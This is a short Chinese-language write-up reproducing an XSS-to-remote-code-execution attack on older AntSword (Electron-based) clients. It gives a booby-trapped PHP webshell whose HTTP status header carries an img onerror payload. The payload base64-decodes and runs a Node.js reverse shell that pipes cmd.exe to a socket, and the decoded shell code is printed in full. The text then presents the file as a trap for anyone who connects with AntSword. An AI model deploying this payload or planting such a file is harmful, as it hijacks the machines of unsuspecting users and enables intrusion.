一、环境
antsword2.0.5以前,antsword使用了Electron,Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
二、复现过程
phpstudy网站根目录添加webshell文件,ant.php,存在XSS
phpstudy网站根目录添加webshell文件,ant.php
<?php
header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
?>
特别需要注意webshell的内容是base64编码之后的,编码之前为
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
本地nc监听端口
使用蚁剑访问webshell
webshell反弹成功
三、总结
适用范围:挂一个webshell在服务器上,等别人用蚁剑来连,连接之后就算蚁剑关闭,shell仍存在
局限:XSS配合Electron才能反弹shell,不然只能打cookie等
参考链接:
[]https://github.com/theLSA/CS-checklist
[]https://www.anquanke.com/post/id/176379
网友评论